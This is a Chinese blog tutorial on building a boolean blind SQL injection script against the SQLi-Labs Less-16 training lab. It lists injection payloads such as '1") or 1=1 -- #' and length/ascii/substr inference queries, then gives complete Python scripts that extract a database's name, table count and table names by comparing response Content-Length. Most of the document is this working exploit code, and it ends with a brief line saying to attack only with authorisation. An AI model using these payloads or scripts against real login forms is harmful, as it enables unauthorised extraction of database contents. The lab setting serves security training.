結合手工注入編寫一個SQL盲註指令碼——以SQLi-Labs less16為例

Security菜鳥發表於2022-04-09

一、分析測試注入點

1、抓包,檢視響應資料包
2、先隨便輸入一個賬號密碼,再測試萬能密碼
1") or 1=1 -- #
3、發現響應資料包的Content-Length欄位值不同。錯誤狀態返回Content-Length值為1467,正確返回1504,符合布林注入特徵。
4、使用萬能密碼登入成功,確定注入點,為布林盲注
1") or 1=1 -- #

二、獲取資料庫名編寫指令碼

1、先獲取資料庫長度,測試語句
1") or length(database())=8 -- #
2、登入成功,確定資料庫長度為8
3、、由於是盲注,獲取資料庫名手工不太現實,這裡使用指令碼。注意,指令碼測試時,響應資料包的Content-Length欄位值與BurpSuite抓包測試中的Content-Length欄位值不同,請自行測試,根據實際情況修改
# -*- coding: utf-8 -*-
import requests
 
url = "http://192.168.40.128:86/Less-16/"
headers = {
    'Host' :'192.168.40.128:86',
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    #'Content-Length': '39',
    'Origin': 'http://192.168.40.128:86',
    'Connection': 'close',
    'Referer': 'http://192.168.40.128:86/Less-16/',
    'Cookie': 'PHPSESSID=0lj1jpdj1en2s07g1l3fm12jb0',
    'Upgrade-Insecure-Requests': '1'
}
data = {
    'uname':'admin',
    'passwd':'adminpass',
    'submit':'Submit'
}
 
#獲取資料庫名的長度
def get_database_length():
    print("[-] Start getting the database name length:")
    for i in range(20):
        data_database_L = {
            'uname':'") or length(database())=' + str(i) + " #",
            'passwd':'adminpass',
            'submit':'Submit'
        }
        r_database_length = requests.post(url=url, data=data_database_L, allow_redirects=False)
        """ print(r_database_length.headers["Content-Length"])
        print(type(r_database_length.headers["Content-Length"])) """
        if r_database_length.headers["Content-Length"] == str(943):
            print("[*] current database length: {}".format(i))
            return i
 
#獲取當前資料庫的名稱
def get_database_name(r_database_length):
    r_database_length = database_length
    #使用left()函式,即從左邊第一個字元開始猜解
    database_name = ''
    print(' ')
    print("[-] Start getting the database name:")
    for i in range(1, r_database_length + 1):
        for j in 'qwertyuiopasdfghjklzxcvbnm0123456789@':
            #構造Payload
            payload = '1") or left(database(), ' + str(i) + ")='" + database_name + str(j) + "' -- #"
            #print(passwd)
            data_database_name = {
                'uname':'1',
                'passwd':payload,
                'submit':'Submit'
        }
            #逐個請求構造好的Payload
            r_database_name = requests.post(url=url, data=data_database_name, allow_redirects=False)
            #若響應資料包的Content-Length欄位值為943,則猜解下一個欄位,拼接正確的欄位
            if r_database_name.headers["Content-Length"] == str(943):
                database_name += str(j)
                print("[+] {}".format(database_name))
                break
    print("[*] The database name is: {}".format(database_name))
    return database_name
4、測試時在指令碼末尾新增如下程式碼
#測試
database_length = get_database_length()
database_name = get_database_name(database_length)
5、執行指令碼,效果如下
結合手工注入編寫一個SQL盲註指令碼——以SQLi-Labs less16為例

三、獲取資料庫表的數量

1、測試語句,構造Payload。下面語句的意思是資料庫security中表的數量大於1
1") and (select count(*) from information_schema.tables where table_schema='security')>1 -- #
登入成功
結合手工注入編寫一個SQL盲註指令碼——以SQLi-Labs less16為例
2、指令碼實現
#獲取資料庫表的數量
def get_database_tables_count(r_database_name):
    r_database_name = database_name
    print(' ')
    print("[-] Start getting the number of databases:")
    for i in range(1,99):
    #構造獲取資料庫數量的Payload
        payload = '1") or (select count(*) from information_schema.tables where table_schema=' + "'" + database_name +"')=" + str(i) +" -- #"
        data_database_name = {
            'uname':'1',
            'passwd':payload,
            'submit':'Submit'
        }
        r_database_count = requests.post(url=url, data=data_database_name, allow_redirects=False)
        if r_database_count.headers["Content-Length"] == str(943):
            print("[*] The current number of database tables is: {}".format(i))
            return i
3、修改末尾的測試程式碼如下
#測試
database_length = get_database_length()
database_name = get_database_name(database_length)
database_count = get_database_tables_count(database_name)
4、執行指令碼,效果如下
結合手工注入編寫一個SQL盲註指令碼——以SQLi-Labs less16為例

四、獲取資料庫表名的長度

1、先測試語句,構造Payload。下面語句的意思是資料庫security的第一個表的長度大於1
1") or length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))>1 -- #
2、登入成功,語句正確
結合手工注入編寫一個SQL盲註指令碼——以SQLi-Labs less16為例
3、指令碼實現
#獲取表名的長度
def get_database_tables_name_length(r_database_name,r_database_tables_count):
    r_database_name = database_name
    r_database_tables_count = database_tables_count
    tables_name_length_list = []
    print(' ')
    print("[-] Start getting the database  tables name length:")
    #根據表的數量逐個猜解表名的長度
    for i in range(0,r_database_tables_count+1):
        for j in range(20):
            #'1") or length(substr((select table_name from information_schema.tables where table_schema=' + "'" +r_database_name +"' limit 0,1)," + str(i) + "))=" + str(j) + " -- #"
            payload = '1") or length(substr((select table_name from information_schema.tables where table_schema=' + "'" +r_database_name +"' limit " +str(i) + ",1)," + str(i+1) + "))=" + str(j) + " -- #"
            data_database_L = {
                'uname':payload,
                'passwd':'adminpass',
                'submit':'Submit'
            }
            r_database_tables_name_lemgth = requests.post(url=url, data=data_database_L, allow_redirects=False)
            if r_database_tables_name_lemgth.headers["Content-Length"] == str(943):
                print("[*] The length of the database table name is: {}".format(j))
                tables_name_length_list = tables_name_length_list.append(j)
    return tables_name_length_list
4、執行指令碼,效果如下
結合手工注入編寫一個SQL盲註指令碼——以SQLi-Labs less16為例

五、獲取表名

1、先構造Payload,測試語句
1") or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>97 -- #
2、登入成功,Payload正確
結合手工注入編寫一個SQL盲註指令碼——以SQLi-Labs less16為例
3、指令碼程式碼實現
#獲取資料庫表名
def get_database_tables_name():
    r_database_count = database_tables_count
    r_database_name = database_name
    r_tables_name_length = tables_name_length
    database_tables_name = ''
    tables_name_list = []
    print(' ')
    print("[-] Start getting the database table name:")
    for i in range(0,r_database_count):
        for k in range(1,r_tables_name_length[i]+1):
            for j in range(33,127):
                #1") or length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=0 -- #
                #1") or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>97 -- #
                # '1") or ascii(substr((select table_name from information_schema.tables where table_schema' + "='" + r_database_name + "' limit " + str(i) + ",1)," + str(k) + ",1))=" + j  + " -- #"
                payload = '1") or ascii(substr((select table_name from information_schema.tables where table_schema' + "='" + r_database_name + "' limit " + str(i) + ",1)," + str(k) + ",1))=" + str(j)  + " -- #"
                data_database_name = {
                'uname':'1',
                'passwd':payload,
                'submit':'Submit'
                }
                r_tables_name = requests.post(url=url,data=data_database_name,allow_redirects=False)
                if r_tables_name.headers["Content-Length"] == str(943):
                    database_tables_name += chr(j)
                    print("[+] {}".format(database_tables_name))
                    break
        #把獲取到的表名加入列表tables_name_list
        print("[*] The current table name is: {}".format(database_tables_name))
        tables_name_list.append(database_tables_name)
        #清空database_tables_name,繼續獲取下一個表名
        database_tables_name = ''
    print("[*] The table name of the current database: {}".format(tables_name_list))
    return tables_name_list
4、效果如下
結合手工注入編寫一個SQL盲註指令碼——以SQLi-Labs less16為例

六、結尾

1、獲取表的列名和獲取表名的思路、邏輯是一樣的,怎麼獲取表名都已經寫出來了,如果怎麼獲取列名和資料都還不會的話,那就再去好好補一下SQL基礎吧

2、此指令碼是布林盲注,延時盲注的邏輯和思路是一樣的,只需要把Payload改成延時語句,把響應判斷條件改成對應的延時判斷就可以了

3、實戰請在獲得授權的前提下進行,且勿進行非法攻擊!

4、最後,附上完整的指令碼程式碼

# -*- coding: utf-8 -*-
from aiohttp import payload_type
import requests
from responses import target

url = "http://192.168.40.128:86/Less-16/"
headers = {
    'Host' :'192.168.40.128:86',
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    #'Content-Length': '39',
    'Origin': 'http://192.168.40.128:86',
    'Connection': 'close',
    'Referer': 'http://192.168.40.128:86/Less-16/',
    'Cookie': 'PHPSESSID=0lj1jpdj1en2s07g1l3fm12jb0',
    'Upgrade-Insecure-Requests': '1'

}
data = {
    'uname':'admin',
    'passwd':'adminpass',
    'submit':'Submit'
}

""" r = requests.post(url=url, headers=headers, data=data, allow_redirects=False)
print(r.headers['Content-Length']) """

#獲取資料庫名的長度
def get_database_length():
    print("[-] Start getting the database name length:")
    for i in range(20):
        data_database_L = {
            'uname':'") or length(database())=' + str(i) + " #",
            'passwd':'adminpass',
            'submit':'Submit'
        }
        """ print(data_database_L) """
        r_database_length = requests.post(url=url, data=data_database_L, allow_redirects=False)
        """ print(r_database_length.headers["Content-Length"])
        print(type(r_database_length.headers["Content-Length"])) """
        if r_database_length.headers["Content-Length"] == str(943):
            print("[*] current database length: {}".format(i))
            return i
#測試
#database_length = get_database_length()
#print(type(database_length))

#獲取當前資料庫的名稱
def get_database_name():
    r_database_length = database_length
    #使用left()函式,即從左邊第一個字元開始猜解
    database_name = ''
    print(' ')
    print("[-] Start getting the database name:")
    for i in range(1, r_database_length + 1):
        for j in 'qwertyuiopasdfghjklzxcvbnm0123456789@':
            #構造Payload
            payload = '1") or left(database(), ' + str(i) + ")='" + database_name + str(j) + "' -- #"
            #print(passwd)
            data_database_name = {
                'uname':'1',
                'passwd':payload,
                'submit':'Submit'
        }
            #逐個請求構造好的Payload
            r_database_name = requests.post(url=url, data=data_database_name, allow_redirects=False)
            #print(r_database_name.headers["Content-Length"])
            #若響應資料包的Content-Length欄位值為943,則猜解下一個欄位,拼接正確的欄位,這裡根據實際情況修改
            if r_database_name.headers["Content-Length"] == str(943):
                database_name += str(j)
                print("[+] {}".format(database_name))
                break
    print("[*] The database name is: {}".format(database_name))
    return database_name

#獲取資料庫表的數量
def get_database_tables_count():
    r_database_name = database_name
    print(' ')
    print("[-] Start getting the number of databases:")
    for i in range(1,99):
    #構造獲取資料庫數量的Payload
        payload = '1") or (select count(*) from information_schema.tables where table_schema=' + "'" + r_database_name +"')=" + str(i) +" -- #"
        data_database_name = {
            'uname':'1',
            'passwd':payload,
            'submit':'Submit'
        }
        r_database_count = requests.post(url=url, data=data_database_name, allow_redirects=False)
        if r_database_count.headers["Content-Length"] == str(943):
            print("[*] The current number of database tables is: {}".format(i))
            return i

#獲取表名的長度
def get_database_tables_name_length():
    r_database_name = database_name
    r_database_tables_count = database_tables_count
    tables_name_length_list = []
    print(' ')
    print("[-] Start getting the database  tables name length:")
    #根據表的數量逐個猜解表名的長度
    for i in range(0,r_database_tables_count+1):
        for j in range(20):
            #1") or length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=0 -- #
            #'1") or length(substr((select table_name from information_schema.tables where table_schema=' + "'" +r_database_name +"' limit 0,1)," + str(i) + "))=" + str(j) + " -- #"
            payload = '1") or length(substr((select table_name from information_schema.tables where table_schema=' + "'" +r_database_name +"' limit " +str(i) + ",1)," + str(i+1) + "))=" + str(j) + " -- #"
            data_database_L = {
                'uname':payload,
                'passwd':'adminpass',
                'submit':'Submit'
            }
            r_database_tables_name_lemgth = requests.post(url=url, data=data_database_L, allow_redirects=False)
            if r_database_tables_name_lemgth.headers["Content-Length"] == str(943):
                print("[*] The length of the database table name is: {}".format(j))
                tables_name_length_list.append(j)
                break
    #print(tables_name_length_list)
    """ for n in range(0,database_tables_count):
        print(tables_name_length_list[n]) """
    return tables_name_length_list
                
#獲取資料庫表名
def get_database_tables_name():
    r_database_count = database_tables_count
    r_database_name = database_name
    r_tables_name_length = tables_name_length
    database_tables_name = ''
    tables_name_list = []
    print(' ')
    print("[-] Start getting the database table name:")
    for i in range(0,r_database_count):
        for k in range(1,r_tables_name_length[i]+1):
            for j in range(33,127):
                #1") or length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=0 -- #
                #1") or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>97 -- #
                # '1") or ascii(substr((select table_name from information_schema.tables where table_schema' + "='" + r_database_name + "' limit " + str(i) + ",1)," + str(k) + ",1))=" + j  + " -- #"
                payload = '1") or ascii(substr((select table_name from information_schema.tables where table_schema' + "='" + r_database_name + "' limit " + str(i) + ",1)," + str(k) + ",1))=" + str(j)  + " -- #"
                data_database_name = {
                'uname':'1',
                'passwd':payload,
                'submit':'Submit'
                }
                r_tables_name = requests.post(url=url,data=data_database_name,allow_redirects=False)
                #print(r_tables_name)
                if r_tables_name.headers["Content-Length"] == str(943):
                    database_tables_name += chr(j)
                    print("[+] {}".format(database_tables_name))
                    #tables_name_list.append(database_tables_name)
                    break
        #把獲取到的表名加入列表tables_name_list
        print("[*] The current table name is: {}".format(database_tables_name))
        tables_name_list.append(database_tables_name)
        #清空database_tables_name,繼續獲取下一個表名
        database_tables_name = ''
    print("[*] The table name of the current database: {}".format(tables_name_list))
    return tables_name_list

#測試
database_length = get_database_length()
database_name = get_database_name()
database_tables_count = get_database_tables_count()
tables_name_length = get_database_tables_name_length()
get_database_tables_name()

 

相關文章